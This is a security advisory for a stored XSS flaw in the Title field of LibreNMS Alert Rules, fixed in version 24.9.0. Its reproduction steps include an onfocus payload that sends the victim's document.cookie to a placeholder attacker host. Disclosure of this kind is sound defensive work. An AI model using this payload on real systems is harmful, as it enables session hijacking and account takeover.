Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the “Alert Rules” feature of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the “Title” field. The injected script executes when the alert rules page loads, redirecting users to attacker-controlled domains and exposing session cookies.
Product
This vulnerability affects LibreNMS versions prior to 24.9.0 in librenms/includes/html/print-alert-rules.php.
Impact
This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.
Steps to reproduce
-
Log into the LibreNMS web interface.
-
Create a new alert rule and enter the following payload into the Title field:
test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie" -
Save the rule and trigger the alert (e.g., generate a matching alert).
-
When the alert rules page loads, observe the browser redirect to the attacker’s URL, carrying the victim’s cookies.
Expected result:
The browser redirects to the attacker-controlled URL (https://<attacker-url>/logger.php?c=<victim_cookie>), exfiltrating the user’s session cookie.
Remediation
Fixed in LibreNMS 24.9.0 by properly escaping $rule['name'] before constructing the $enabled_msg in print-alert-rules.php, preventing attribute context injection.
Credit
This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.
